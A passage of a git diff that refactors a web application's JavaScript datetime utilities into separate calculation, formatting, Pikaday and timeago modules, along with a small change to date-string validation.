+ return parseInt(num, 10) !== num ? num.toFixed(1) : num;
+};
+
+/**
+ * Returns the date `n` days after the date provided
+ *
+ * @param {Date} date the initial date
+ * @param {Number} numberOfDays number of days after
+ * @param {Object} [options={}] Additional options for this calculation
+ * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
+ * This will cause Daylight Saving Time to be ignored. Defaults to `false`
+ * if not provided, which causes the calculation to be performed in the
+ * user's timezone.
+ *
+ * @return {Date} A `Date` object `n` days after the provided `Date`
+ */
+export const nDaysAfter = (date, numberOfDays, { utc = false } = {}) => {
+ const clone = newDate(date);
+
+ const cloneValue = utc
+ ? clone.setUTCDate(date.getUTCDate() + numberOfDays)
+ : clone.setDate(date.getDate() + numberOfDays);
+
+ return new Date(cloneValue);
+};
+
+/**
+ * Returns the date `n` days before the date provided
+ *
+ * @param {Date} date the initial date
+ * @param {Number} numberOfDays number of days before
+ * @param {Object} [options={}] Additional options for this calculation
+ * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
+ * This will cause Daylight Saving Time to be ignored. Defaults to `false`
+ * if not provided, which causes the calculation to be performed in the
+ * user's timezone.
+ * @return {Date} A `Date` object `n` days before the provided `Date`
+ */
+export const nDaysBefore = (date, numberOfDays, options) =>
+ nDaysAfter(date, -numberOfDays, options);
+
+/**
+ * Returns the date `n` months after the date provided
+ *
+ * @param {Date} date the initial date
+ * @param {Number} numberOfMonths number of months after
+ * @param {Object} [options={}] Additional options for this calculation
+ * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
+ * This will cause Daylight Saving Time to be ignored. Defaults to `false`
+ * if not provided, which causes the calculation to be performed in the
+ * user's timezone.
+ *
+ * @return {Date} A `Date` object `n` months after the provided `Date`
+ */
+export const nMonthsAfter = (date, numberOfMonths, { utc = false } = {}) => {
+ const clone = newDate(date);
+
+ const cloneValue = utc
+ ? clone.setUTCMonth(date.getUTCMonth() + numberOfMonths)
+ : clone.setMonth(date.getMonth() + numberOfMonths);
+
+ return new Date(cloneValue);
+};
+
+/**
+ * Returns the date `n` months before the date provided
+ *
+ * @param {Date} date the initial date
+ * @param {Number} numberOfMonths number of months before
+ * @param {Object} [options={}] Additional options for this calculation
+ * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
+ * This will cause Daylight Saving Time to be ignored. Defaults to `false`
+ * if not provided, which causes the calculation to be performed in the
+ * user's timezone.
+ *
+ * @return {Date} A `Date` object `n` months before the provided `Date`
+ */
+export const nMonthsBefore = (date, numberOfMonths, options) =>
+ nMonthsAfter(date, -numberOfMonths, options);
+
+/**
+ * Returns the date `n` weeks after the date provided
+ *
+ * @param {Date} date the initial date
+ * @param {Number} numberOfWeeks number of weeks after
+ * @param {Object} [options={}] Additional options for this calculation
+ * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
+ * This will cause Daylight Saving Time to be ignored. Defaults to `false`
+ * if not provided, which causes the calculation to be performed in the
+ * user's timezone.
+ *
+ * @return {Date} A `Date` object `n` weeks after the provided `Date`
+ */
+export const nWeeksAfter = (date, numberOfWeeks, options) =>
+ nDaysAfter(date, DAYS_IN_WEEK * numberOfWeeks, options);
+
+/**
+ * Returns the date `n` weeks before the date provided
+ *
+ * @param {Date} date the initial date
+ * @param {Number} numberOfWeeks number of weeks before
+ * @param {Object} [options={}] Additional options for this calculation
+ * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
+ * This will cause Daylight Saving Time to be ignored. Defaults to `false`
+ * if not provided, which causes the calculation to be performed in the
+ * user's timezone.
+ *
+ * @return {Date} A `Date` object `n` weeks before the provided `Date`
+ */
+export const nWeeksBefore = (date, numberOfWeeks, options) =>
+ nWeeksAfter(date, -numberOfWeeks, options);
+
+/**
+ * Returns the date `n` years after the date provided.
+ *
+ * @param {Date} date the initial date
+ * @param {Number} numberOfYears number of years after
+ * @return {Date} A `Date` object `n` years after the provided `Date`
+ */
+export const nYearsAfter = (date, numberOfYears) => {
+ const clone = newDate(date);
+ clone.setFullYear(clone.getFullYear() + numberOfYears);
+ return clone;
+};
+
+/**
+ * Returns the date after the date provided
+ *
+ * @param {Date} date the initial date
+ * @param {Object} [options={}] Additional options for this calculation
+ * @param {boolean} [options.utc=false] Performs the calculation using UTC dates.
+ * This will cause Daylight Saving Time to be ignored. Defaults to `false`
+ * if not provided, which causes the calculation to be performed in the
+ * user's timezone.
+ *
+ * @return {Date} the date following the date provided
+ */
+export const dayAfter = (date, options) => nDaysAfter(date, 1, options);
+
+/**
+ * A utility function which computes the difference in seconds
+ * between 2 dates.
+ *
+ * @param {Date} startDate the start date
+ * @param {Date} endDate the end date
+ *
+ * @return {Int} the difference in seconds
+ */
+export const differenceInSeconds = (startDate, endDate) => {
+ return (endDate.getTime() - startDate.getTime()) / 1000;
+};
+
+/**
+ * A utility function which computes the difference in months
+ * between 2 dates.
+ *
+ * @param {Date} startDate the start date
+ * @param {Date} endDate the end date
+ *
+ * @return {Int} the difference in months
+ */
+export const differenceInMonths = (startDate, endDate) => {
+ const yearDiff = endDate.getYear() - startDate.getYear();
+ const monthDiff = endDate.getMonth() - startDate.getMonth();
+ return monthDiff + 12 * yearDiff;
+};
+
+/**
+ * A utility function which computes the difference in milliseconds
+ * between 2 dates.
+ *
+ * @param {Date|Int} startDate the start date. Can be either a date object or a unix timestamp.
+ * @param {Date|Int} endDate the end date. Can be either a date object or a unix timestamp. Defaults to now.
+ *
+ * @return {Int} the difference in milliseconds
+ */
+export const differenceInMilliseconds = (startDate, endDate = Date.now()) => {
+ const startDateInMS = startDate instanceof Date ? startDate.getTime() : startDate;
+ const endDateInMS = endDate instanceof Date ? endDate.getTime() : endDate;
+ return endDateInMS - startDateInMS;
+};
+
+/**
+ * A utility which returns a new date at the first day of the month for any given date.
+ *
+ * @param {Date} date
+ *
+ * @return {Date} the date at the first day of the month
+ */
+export const dateAtFirstDayOfMonth = (date) => new Date(newDate(date).setDate(1));
+
+/**
+ * A utility function which checks if two dates match.
+ *
+ * @param {Date|Int} date1 Can be either a date object or a unix timestamp.
+ * @param {Date|Int} date2 Can be either a date object or a unix timestamp.
+ *
+ * @return {Boolean} true if the dates match
+ */
+export const datesMatch = (date1, date2) => differenceInMilliseconds(date1, date2) === 0;
+
+/**
+ * A utility function which checks if two date ranges overlap.
+ *
+ * @param {Object} givenPeriodLeft - the first period to compare.
+ * @param {Object} givenPeriodRight - the second period to compare.
+ * @returns {Object} { overlap: number of days the overlap is present, overlapStartDate: the start date of the overlap in time format, overlapEndDate: the end date of the overlap in time format }
+ * @throws {Error} Uncaught Error: Invalid period
+ *
+ * @example
+ * getOverlappingDaysInPeriods(
+ * { start: new Date(2021, 0, 11), end: new Date(2021, 0, 13) },
+ * { start: new Date(2021, 0, 11), end: new Date(2021, 0, 14) }
+ * ) => { daysOverlap: 2, overlapStartDate: 1610323200000, overlapEndDate: 1610496000000 }
+ *
+ */
+export const getOverlappingDaysInPeriods = (givenPeriodLeft = {}, givenPeriodRight = {}) => {
+ const leftStartTime = new Date(givenPeriodLeft.start).getTime();
+ const leftEndTime = new Date(givenPeriodLeft.end).getTime();
+ const rightStartTime = new Date(givenPeriodRight.start).getTime();
+ const rightEndTime = new Date(givenPeriodRight.end).getTime();
+
+ if (!(leftStartTime <= leftEndTime && rightStartTime <= rightEndTime)) {
+ throw new Error(__('Invalid period'));
+ }
+
+ const isOverlapping = leftStartTime < rightEndTime && rightStartTime < leftEndTime;
+
+ if (!isOverlapping) {
+ return { daysOverlap: 0 };
+ }
+
+ const overlapStartDate = Math.max(leftStartTime, rightStartTime);
+ const overlapEndDate = rightEndTime > leftEndTime ? leftEndTime : rightEndTime;
+ const differenceInMs = overlapEndDate - overlapStartDate;
+
+ return {
+ daysOverlap: Math.ceil(differenceInMs / MILLISECONDS_IN_DAY),
+ overlapStartDate,
+ overlapEndDate,
+ };
+};
+
+/**
+ * Mimics the behaviour of the rails distance_of_time_in_words function
+ * https://api.rubyonrails.org/v6.0.1/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words
+ * 0 < -> 29 secs => less than a minute
+ * 30 secs < -> 1 min, 29 secs => 1 minute
+ * 1 min, 30 secs < -> 44 mins, 29 secs => [2..44] minutes
+ * 44 mins, 30 secs < -> 89 mins, 29 secs => about 1 hour
+ * 89 mins, 30 secs < -> 23 hrs, 59 mins, 29 secs => about[2..24]hours
+ * 23 hrs, 59 mins, 30 secs < -> 41 hrs, 59 mins, 29 secs => 1 day
+ * 41 hrs, 59 mins, 30 secs => x days
+ *
+ * @param {Number} seconds
+ * @return {String} approximated time
+ */
+export const approximateDuration = (seconds = 0) => {
+ if (!isNumber(seconds) || seconds < 0) {
+ return '';
+ }
+
+ const ONE_MINUTE_LIMIT = 90; // 1 minute 30s
+ const MINUTES_LIMIT = 2670; // 44 minutes 30s
+ const ONE_HOUR_LIMIT = 5370; // 89 minutes 30s
+ const HOURS_LIMIT = 86370; // 23 hours 59 minutes 30s
+ const ONE_DAY_LIMIT = 151170; // 41 hours 59 minutes 30s
+
+ const { days = 0, hours = 0, minutes = 0 } = parseSeconds(seconds, {
+ daysPerWeek: 7,
+ hoursPerDay: 24,
+ limitToDays: true,
+ });
+
+ if (seconds < 30) {
+ return __('less than a minute');
+ } else if (seconds < MINUTES_LIMIT) {
+ return n__('1 minute', '%d minutes', seconds < ONE_MINUTE_LIMIT ? 1 : minutes);
+ } else if (seconds < HOURS_LIMIT) {
+ return n__('about 1 hour', 'about %d hours', seconds < ONE_HOUR_LIMIT ? 1 : hours);
+ }
+ return n__('1 day', '%d days', seconds < ONE_DAY_LIMIT ? 1 : days);
+};
+
+/**
+ * A utility function which helps creating a date object
+ * for a specific date. Accepts the year, month and day
+ * returning a date object for the given params.
+ *
+ * @param {Int} year the full year as a number i.e. 2020
+ * @param {Int} month the month index i.e. January => 0
+ * @param {Int} day the day as a number i.e. 23
+ *
+ * @return {Date} the date object from the params
+ */
+export const dateFromParams = (year, month, day) => {
+ return new Date(year, month, day);
+};
+
+/**
+ * A utility function which computes a formatted 24 hour
+ * time string from a positive int in the range 0 - 24.
+ *
+ * @param {Int} time a positive Int between 0 and 24
+ *
+ * @returns {String} formatted 24 hour time String
+ */
+export const format24HourTimeStringFromInt = (time) => {
+ if (!Number.isInteger(time) || time < 0 || time > 24) {
+ return '';
+ }
+
+ const formatted24HourString = time > 9 ? `${time}:00` : `0${time}:00`;
+ return formatted24HourString;
+};
+
+/**
+ * A utility function that checks that the date is today
+ *
+ * @param {Date} date
+ *
+ * @return {Boolean} true if provided date is today
+ */
+export const isToday = (date) => {
+ const today = new Date();
+ return (
+ date.getDate() === today.getDate() &&
+ date.getMonth() === today.getMonth() &&
+ date.getFullYear() === today.getFullYear()
+ );
+};
+
+/**
+ * Checks whether the date is in the past.
+ *
+ * @param {Date} date
+ * @return {Boolean} Returns true if the date falls before today, otherwise false.
+ */
+export const isInPast = (date) => !isToday(date) && differenceInMilliseconds(date, Date.now()) > 0;
+
+/**
+ * Checks whether the date is in the future.
+ * .
+ * @param {Date} date
+ * @return {Boolean} Returns true if the date falls after today, otherwise false.
+ */
+export const isInFuture = (date) =>
+ !isToday(date) && differenceInMilliseconds(Date.now(), date) > 0;
+
+/**
+ * Checks whether dateA falls before dateB.
+ *
+ * @param {Date} dateA
+ * @param {Date} dateB
+ * @return {Boolean} Returns true if dateA falls before dateB, otherwise false
+ */
+export const fallsBefore = (dateA, dateB) => differenceInMilliseconds(dateA, dateB) > 0;
+
+/**
+ * Removes the time component of the date.
+ *
+ * @param {Date} date
+ * @return {Date} Returns a clone of the date with the time set to midnight
+ */
+export const removeTime = (date) => {
+ const clone = newDate(date);
+ clone.setHours(0, 0, 0, 0);
+ return clone;
+};
+
+/**
+ * Returns the start of the provided day
+ *
+ * @param {Object} [options={}] Additional options for this calculation
+ * @param {boolean} [options.utc=false] Performs the calculation using UTC time.
+ * If `true`, the time returned will be midnight UTC. If `false` (the default)
+ * the time returned will be midnight in the user's local time.
+ *
+ * @returns {Date} A new `Date` object that represents the start of the day
+ * of the provided date
+ */
+export const getStartOfDay = (date, { utc = false } = {}) => {
+ const clone = newDate(date);
+
+ const cloneValue = utc ? clone.setUTCHours(0, 0, 0, 0) : clone.setHours(0, 0, 0, 0);
+
+ return new Date(cloneValue);
+};
+
+/**
+ * Returns the start of the current week against the provide date
+ *
+ * @param {Date} date The current date instance to calculate against
+ * @param {Object} [options={}] Additional options for this calculation
+ * @param {boolean} [options.utc=false] Performs the calculation using UTC time.
+ * If `true`, the time returned will be midnight UTC. If `false` (the default)
+ * the time returned will be midnight in the user's local time.
+ *
+ * @returns {Date} A new `Date` object that represents the start of the current week
+ * of the provided date
+ */
+export const getStartOfWeek = (date, { utc = false } = {}) => {
+ const cloneValue = utc
+ ? new Date(date.setUTCHours(0, 0, 0, 0))
+ : new Date(date.setHours(0, 0, 0, 0));
+
+ const diff = cloneValue.getDate() - cloneValue.getDay() + (cloneValue.getDay() === 0 ? -6 : 1);
+
+ return new Date(date.setDate(diff));
+};
+
+/**
+ * Calculates the time remaining from today in words in the format
+ * `n days/weeks/months/years remaining`.
+ *
+ * @param {Date} date A date in future
+ * @return {String} The time remaining in the format `n days/weeks/months/years remaining`
+ */
+export const getTimeRemainingInWords = (date) => {
+ const today = removeTime(new Date());
+ const dateInFuture = removeTime(date);
+
+ const oneWeekFromNow = nWeeksAfter(today, 1);
+ const oneMonthFromNow = nMonthsAfter(today, 1);
+ const oneYearFromNow = nYearsAfter(today, 1);
+
+ if (fallsBefore(dateInFuture, oneWeekFromNow)) {
+ const days = getDayDifference(today, dateInFuture);
+ return n__('1 day remaining', '%d days remaining', days);
+ }
+
+ if (fallsBefore(dateInFuture, oneMonthFromNow)) {
+ const weeks = Math.floor(getDayDifference(today, dateInFuture) / 7);
+ return n__('1 week remaining', '%d weeks remaining', weeks);
+ }
+
+ if (fallsBefore(dateInFuture, oneYearFromNow)) {
+ const months = differenceInMonths(today, dateInFuture);
+ return n__('1 month remaining', '%d months remaining', months);
+ }
+
+ const years = dateInFuture.getFullYear() - today.getFullYear();
+ return n__('1 year remaining', '%d years remaining', years);
+};
diff --git a/app/assets/javascripts/lib/utils/datetime/date_format_utility.js b/app/assets/javascripts/lib/utils/datetime/date_format_utility.js
new file mode 100644
index 00000000000..246f290a90a
--- /dev/null
+++ b/app/assets/javascripts/lib/utils/datetime/date_format_utility.js
@@ -0,0 +1,260 @@
+import dateFormat from 'dateformat';
+import { isString, mapValues, reduce } from 'lodash';
+import { s__, n__, __ } from '../../../locale';
+
+/**
+ * Returns i18n month names array.
+ * If `abbreviated` is provided, returns abbreviated
+ * name.
+ *
+ * @param {Boolean} abbreviated
+ */
+export const getMonthNames = (abbreviated) => {
+ if (abbreviated) {
+ return [
+ s__('Jan'),
+ s__('Feb'),
+ s__('Mar'),
+ s__('Apr'),
+ s__('May'),
+ s__('Jun'),
+ s__('Jul'),
+ s__('Aug'),
+ s__('Sep'),
+ s__('Oct'),
+ s__('Nov'),
+ s__('Dec'),
+ ];
+ }
+ return [
+ s__('January'),
+ s__('February'),
+ s__('March'),
+ s__('April'),
+ s__('May'),
+ s__('June'),
+ s__('July'),
+ s__('August'),
+ s__('September'),
+ s__('October'),
+ s__('November'),
+ s__('December'),
+ ];
+};
+
+/**
+ * Returns month name based on provided date.
+ *
+ * @param {Date} date
+ * @param {Boolean} abbreviated
+ */
+export const monthInWords = (date, abbreviated = false) => {
+ if (!date) {
+ return '';
+ }
+
+ return getMonthNames(abbreviated)[date.getMonth()];
+};
+
+export const dateInWords = (date, abbreviated = false, hideYear = false) => {
+ if (!date) return date;
+
+ const month = date.getMonth();
+ const year = date.getFullYear();
+
+ const monthName = getMonthNames(abbreviated)[month];
+
+ if (hideYear) {
+ return `${monthName} ${date.getDate()}`;
+ }
+
+ return `${monthName} ${date.getDate()}, ${year}`;
+};
+
+/**
+ * Similar to `timeIntervalInWords`, but rounds the return value
+ * to 1/10th of the largest time unit. For example:
+ *
+ * 30 => 30 seconds
+ * 90 => 1.5 minutes
+ * 7200 => 2 hours
+ * 86400 => 1 day
+ * ... etc.
+ *
+ * The largest supported unit is "days".
+ *
+ * @param {Number} intervalInSeconds The time interval in seconds
+ * @returns {String} A humanized description of the time interval
+ */
+export const humanizeTimeInterval = (intervalInSeconds) => {
+ if (intervalInSeconds < 60 /* = 1 minute */) {
+ const seconds = Math.round(intervalInSeconds * 10) / 10;
+ return n__('%d second', '%d seconds', seconds);
+ } else if (intervalInSeconds < 3600 /* = 1 hour */) {
+ const minutes = Math.round(intervalInSeconds / 6) / 10;
+ return n__('%d minute', '%d minutes', minutes);
+ } else if (intervalInSeconds < 86400 /* = 1 day */) {
+ const hours = Math.round(intervalInSeconds / 360) / 10;
+ return n__('%d hour', '%d hours', hours);
+ }
+
+ const days = Math.round(intervalInSeconds / 8640) / 10;
+ return n__('%d day', '%d days', days);
+};
+
+/**
+ * Returns i18n weekday names array.
+ */
+export const getWeekdayNames = () => [
+ __('Sunday'),
+ __('Monday'),
+ __('Tuesday'),
+ __('Wednesday'),
+ __('Thursday'),
+ __('Friday'),
+ __('Saturday'),
+];
+
+/**
+ * Given a date object returns the day of the week in English
+ * @param {date} date
+ * @returns {String}
+ */
+export const getDayName = (date) => getWeekdayNames()[date.getDay()];
+
+/**
+ * Returns the i18n month name from a given date
+ * @example
+ * formatDateAsMonth(new Date('2020-06-28')) -> 'Jun'
+ * @param {String} datetime where month is extracted from
+ * @param {Object} options
+ * @param {Boolean} options.abbreviated whether to use the abbreviated month string, or not
+ * @return {String} the i18n month name
+ */
+export function formatDateAsMonth(datetime, options = {}) {
+ const { abbreviated = true } = options;
+ const month = new Date(datetime).getMonth();
+ return getMonthNames(abbreviated)[month];
+}
+
+/**
+ * @example
+ * dateFormat('2017-12-05','mmm d, yyyy h:MMtt Z' ) -> "Dec 5, 2017 12:00am UTC"
+ * @param {date} datetime
+ * @param {String} format
+ * @param {Boolean} UTC convert local time to UTC
+ * @returns {String}
+ */
+export const formatDate = (datetime, format = 'mmm d, yyyy h:MMtt Z', utc = false) => {
+ if (isString(datetime) && datetime.match(/\d+-\d+\d+ /)) {
+ throw new Error(__('Invalid date'));
+ }
+ return dateFormat(datetime, format, utc);
+};
+
+/**
+ * Formats milliseconds as timestamp (e.g. 01:02:03).
+ * This takes durations longer than a day into account (e.g. two days would be 48:00:00).
+ *
+ * @param milliseconds
+ * @returns {string}
+ */
+export const formatTime = (milliseconds) => {
+ const remainingSeconds = Math.floor(milliseconds / 1000) % 60;
+ const remainingMinutes = Math.floor(milliseconds / 1000 / 60) % 60;
+ const remainingHours = Math.floor(milliseconds / 1000 / 60 / 60);
+ let formattedTime = '';
+ if (remainingHours < 10) formattedTime += '0';
+ formattedTime += `${remainingHours}:`;
+ if (remainingMinutes < 10) formattedTime += '0';
+ formattedTime += `${remainingMinutes}:`;
+ if (remainingSeconds < 10) formattedTime += '0';
+ formattedTime += remainingSeconds;
+ return formattedTime;
+};
+
+/**
+ * Port of ruby helper time_interval_in_words.
+ *
+ * @param {Number} seconds
+ * @return {String}
+ */
+export const timeIntervalInWords = (intervalInSeconds) => {
+ const secondsInteger = parseInt(intervalInSeconds, 10);
+ const minutes = Math.floor(secondsInteger / 60);
+ const seconds = secondsInteger - minutes * 60;
+ const secondsText = n__('%d second', '%d seconds', seconds);
+ return minutes >= 1
+ ? [n__('%d minute', '%d minutes', minutes), secondsText].join(' ')
+ : secondsText;
+};
+
+/**
+ * Accepts a timeObject (see parseSeconds) and returns a condensed string representation of it
+ * (e.g. '1w 2d 3h 1m' or '1h 30m'). Zero value units are not included.
+ * If the 'fullNameFormat' param is passed it returns a non condensed string eg '1 week 3 days'
+ */
+export const stringifyTime = (timeObject, fullNameFormat = false) => {
+ const reducedTime = reduce(
+ timeObject,
+ (memo, unitValue, unitName) => {
+ const isNonZero = Boolean(unitValue);
+
+ if (fullNameFormat && isNonZero) {
+ // Remove traling 's' if unit value is singular
+ const formattedUnitName = unitValue > 1 ? unitName : unitName.replace(/s$/, '');
+ return `${memo} ${unitValue} ${formattedUnitName}`;
+ }
+
+ return isNonZero ? `${memo} ${unitValue}${unitName.charAt(0)}` : memo;
+ },
+ '',
+ ).trim();
+ return reducedTime.length ? reducedTime : '0m';
+};
+
+/**
+ * Accepts seconds and returns a timeObject { weeks: #, days: #, hours: #, minutes: # }
+ * Seconds can be negative or positive, zero or non-zero. Can be configured for any day
+ * or week length.
+ */
+export const parseSeconds = (
+ seconds,
+ { daysPerWeek = 5, hoursPerDay = 8, limitToHours = false, limitToDays = false } = {},
+) => {
+ const DAYS_PER_WEEK = daysPerWeek;
+ const HOURS_PER_DAY = hoursPerDay;
+ const SECONDS_PER_MINUTE = 60;
+ const MINUTES_PER_HOUR = 60;
+ const MINUTES_PER_WEEK = DAYS_PER_WEEK * HOURS_PER_DAY * MINUTES_PER_HOUR;
+ const MINUTES_PER_DAY = HOURS_PER_DAY * MINUTES_PER_HOUR;
+
+ const timePeriodConstraints = {
+ weeks: MINUTES_PER_WEEK,
+ days: MINUTES_PER_DAY,
+ hours: MINUTES_PER_HOUR,
+ minutes: 1,
+ };
+
+ if (limitToDays || limitToHours) {
+ timePeriodConstraints.weeks = 0;
+ }
+
+ if (limitToHours) {
+ timePeriodConstraints.days = 0;
+ }
+
+ let unorderedMinutes = Math.abs(seconds / SECONDS_PER_MINUTE);
+
+ return mapValues(timePeriodConstraints, (minutesPerPeriod) => {
+ if (minutesPerPeriod === 0) {
+ return 0;
+ }
+
+ const periodCount = Math.floor(unorderedMinutes / minutesPerPeriod);
+
+ unorderedMinutes -= periodCount * minutesPerPeriod;
+
+ return periodCount;
+ });
+};
diff --git a/app/assets/javascripts/lib/utils/datetime/pikaday_utility.js b/app/assets/javascripts/lib/utils/datetime/pikaday_utility.js
new file mode 100644
index 00000000000..63542ddbb6a
--- /dev/null
+++ b/app/assets/javascripts/lib/utils/datetime/pikaday_utility.js
@@ -0,0 +1,28 @@
+export const pad = (val, len = 2) => `0${val}`.slice(-len);
+
+/**
+ * Formats dates in Pickaday
+ * @param {String} dateString Date in yyyy-mm-dd format
+ * @return {Date} UTC format
+ */
+export const parsePikadayDate = (dateString) => {
+ const parts = dateString.split('-');
+ const year = parseInt(parts[0], 10);
+ const month = parseInt(parts[1] - 1, 10);
+ const day = parseInt(parts[2], 10);
+
+ return new Date(year, month, day);
+};
+
+/**
+ * Used `onSelect` method in pickaday
+ * @param {Date} date UTC format
+ * @return {String} Date formatted in yyyy-mm-dd
+ */
+export const pikadayToString = (date) => {
+ const day = pad(date.getDate());
+ const month = pad(date.getMonth() + 1);
+ const year = date.getFullYear();
+
+ return `${year}-${month}-${day}`;
+};
diff --git a/app/assets/javascripts/lib/utils/datetime/timeago_utility.js b/app/assets/javascripts/lib/utils/datetime/timeago_utility.js
new file mode 100644
index 00000000000..512b1f079a1
--- /dev/null
+++ b/app/assets/javascripts/lib/utils/datetime/timeago_utility.js
@@ -0,0 +1,124 @@
+import $ from 'jquery';
+import * as timeago from 'timeago.js';
+import { languageCode, s__ } from '../../../locale';
+import { formatDate } from './date_format_utility';
+
+window.timeago = timeago;
+
+/**
+ * Timeago uses underscores instead of dashes to separate language from country code.
+ *
+ * see https://github.com/hustcc/timeago.js/tree/v3.0.0/locales
+ */
+const timeagoLanguageCode = languageCode().replace(/-/g, '_');
+
+/**
+ * Registers timeago locales
+ */
+const memoizedLocaleRemaining = () => {
+ const cache = [];
+
+ const timeAgoLocaleRemaining = [
+ () => [s__('Timeago|just now'), s__('Timeago|right now')],
+ () => [s__('Timeago|just now'), s__('Timeago|%s seconds remaining')],
+ () => [s__('Timeago|1 minute ago'), s__('Timeago|1 minute remaining')],
+ () => [s__('Timeago|%s minutes ago'), s__('Timeago|%s minutes remaining')],
+ () => [s__('Timeago|1 hour ago'), s__('Timeago|1 hour remaining')],
+ () => [s__('Timeago|%s hours ago'), s__('Timeago|%s hours remaining')],
+ () => [s__('Timeago|1 day ago'), s__('Timeago|1 day remaining')],
+ () => [s__('Timeago|%s days ago'), s__('Timeago|%s days remaining')],
+ () => [s__('Timeago|1 week ago'), s__('Timeago|1 week remaining')],
+ () => [s__('Timeago|%s weeks ago'), s__('Timeago|%s weeks remaining')],
+ () => [s__('Timeago|1 month ago'), s__('Timeago|1 month remaining')],
+ () => [s__('Timeago|%s months ago'), s__('Timeago|%s months remaining')],
+ () => [s__('Timeago|1 year ago'), s__('Timeago|1 year remaining')],
+ () => [s__('Timeago|%s years ago'), s__('Timeago|%s years remaining')],
+ ];
+
+ return (number, index) => {
+ if (cache[index]) {
+ return cache[index];
+ }
+ cache[index] = timeAgoLocaleRemaining[index] && timeAgoLocaleRemaining[index]();
+ return cache[index];
+ };
+};
+
+const memoizedLocale = () => {
+ const cache = [];
+
+ const timeAgoLocale = [
+ () => [s__('Timeago|just now'), s__('Timeago|right now')],
+ () => [s__('Timeago|just now'), s__('Timeago|in %s seconds')],
+ () => [s__('Timeago|1 minute ago'), s__('Timeago|in 1 minute')],
+ () => [s__('Timeago|%s minutes ago'), s__('Timeago|in %s minutes')],
+ () => [s__('Timeago|1 hour ago'), s__('Timeago|in 1 hour')],
+ () => [s__('Timeago|%s hours ago'), s__('Timeago|in %s hours')],
+ () => [s__('Timeago|1 day ago'), s__('Timeago|in 1 day')],
+ () => [s__('Timeago|%s days ago'), s__('Timeago|in %s days')],
+ () => [s__('Timeago|1 week ago'), s__('Timeago|in 1 week')],
+ () => [s__('Timeago|%s weeks ago'), s__('Timeago|in %s weeks')],
+ () => [s__('Timeago|1 month ago'), s__('Timeago|in 1 month')],
+ () => [s__('Timeago|%s months ago'), s__('Timeago|in %s months')],
+ () => [s__('Timeago|1 year ago'), s__('Timeago|in 1 year')],
+ () => [s__('Timeago|%s years ago'), s__('Timeago|in %s years')],
+ ];
+
+ return (number, index) => {
+ if (cache[index]) {
+ return cache[index];
+ }
+ cache[index] = timeAgoLocale[index] && timeAgoLocale[index]();
+ return cache[index];
+ };
+};
+
+timeago.register(timeagoLanguageCode, memoizedLocale());
+timeago.register(`${timeagoLanguageCode}-remaining`, memoizedLocaleRemaining());
+
+export const getTimeago = () => timeago;
+
+/**
+ * For the given elements, sets a tooltip with a formatted date.
+ * @param {JQuery} $timeagoEls
+ * @param {Boolean} setTimeago
+ */
+export const localTimeAgo = ($timeagoEls, setTimeago = true) => {
+ $timeagoEls.each((i, el) => {
+ $(el).text(timeago.format($(el).attr('datetime'), timeagoLanguageCode));
+ });
+
+ if (!setTimeago) {
+ return;
+ }
+
+ function addTimeAgoTooltip() {
+ $timeagoEls.each((i, el) => {
+ // Recreate with custom template
+ el.setAttribute('title', formatDate(el.dateTime));
+ });
+ }
+
+ requestIdleCallback(addTimeAgoTooltip);
+};
+
+/**
+ * Returns remaining or passed time over the given time.
+ * @param {*} time
+ * @param {*} expiredLabel
+ */
+export const timeFor = (time, expiredLabel) => {
+ if (!time) {
+ return '';
+ }
+ if (new Date(time) < new Date()) {
+ return expiredLabel || s__('Timeago|Past due');
+ }
+ return timeago.format(time, `${timeagoLanguageCode}-remaining`).trim();
+};
+
+window.gl = window.gl || {};
+window.gl.utils = {
+ ...(window.gl.utils || {}),
+ localTimeAgo,
+};
diff --git a/app/assets/javascripts/lib/utils/datetime_range.js b/app/assets/javascripts/lib/utils/datetime_range.js
index 391b685f740..a2b161d1446 100644
--- a/app/assets/javascripts/lib/utils/datetime_range.js
+++ b/app/assets/javascripts/lib/utils/datetime_range.js
@@ -26,14 +26,7 @@ const isValidDateString = (dateString) => {
return false;
}
- try {
- // dateformat throws error that can be caught.
- // This is better than using `new Date()`
- dateformat(dateString, 'isoUtcDateTime');
- return true;
- } catch (e) {
- return false;
- }
+ return !Number.isNaN(Date.parse(dateformat(dateString, 'isoUtcDateTime')));
};
const handleRangeDirection = ({ direction = DEFAULT_DIRECTION, anchorDate, minDate, maxDate }) => {
diff --git a/app/assets/javascripts/lib/utils/datetime_utility.js b/app/assets/javascripts/lib/utils/datetime_utility.js
index 0a038febb9f..c1081239544 100644
--- a/app/assets/javascripts/lib/utils/datetime_utility.js
+++ b/app/assets/javascripts/lib/utils/datetime_utility.js
@@ -1,1107 +1,4 @@
-import dateFormat from 'dateformat';
-import $ from 'jquery';
-import { isString, mapValues, isNumber, reduce } from 'lodash';
-import * as timeago from 'timeago.js';
-import { languageCode, s__, __, n__ } from '../../locale';
-
-export const SECONDS_IN_DAY = 86400;
-
-const DAYS_IN_WEEK = 7;
-
-window.timeago = timeago;
-
-/**
- * This method allows you to create new Date instance from existing
- * date instance without keeping the reference.
- *
- * @param {Date} date
- */
-export const newDate = (date) => (date instanceof Date ? new Date(date.getTime()) : new Date());
-
-/**
- * Returns i18n month names array.
- * If `abbreviated` is provided, returns abbreviated
- * name.
- *
- * @param {Boolean} abbreviated
- */
-export const getMonthNames = (abbreviated) => {
- if (abbreviated) {
- return [
- s__('Jan'),
- s__('Feb'),
- s__('Mar'),
- s__('Apr'),
- s__('May'),
- s__('Jun'),
- s__('Jul'),
- s__('Aug'),
- s__('Sep'),
- s__('Oct'),
- s__('Nov'),
- s__('Dec'),
- ];
- }
- return [
- s__('January'),
- s__('February'),
- s__('March'),
- s__('April'),
- s__('May'),
- s__('June'),
- s__('July'),
- s__('August'),
- s__('September'),
- s__('October'),
- s__('November'),
- s__('December'),
- ];
-};
-
-export const pad = (val, len = 2) => `0${val}`.slice(-len);
-
-/**
- * Returns i18n weekday names array.
- */
-export const getWeekdayNames = () => [
- __('Sunday'),
- __('Monday'),
- __('Tuesday'),
- __('Wednesday'),
- __('Thursday'),
- __('Friday'),
- __('Saturday'),
-];
-
-/**
- * Given a date object returns the day of the week in English
- * @param {date} date
- * @returns {String}
- */
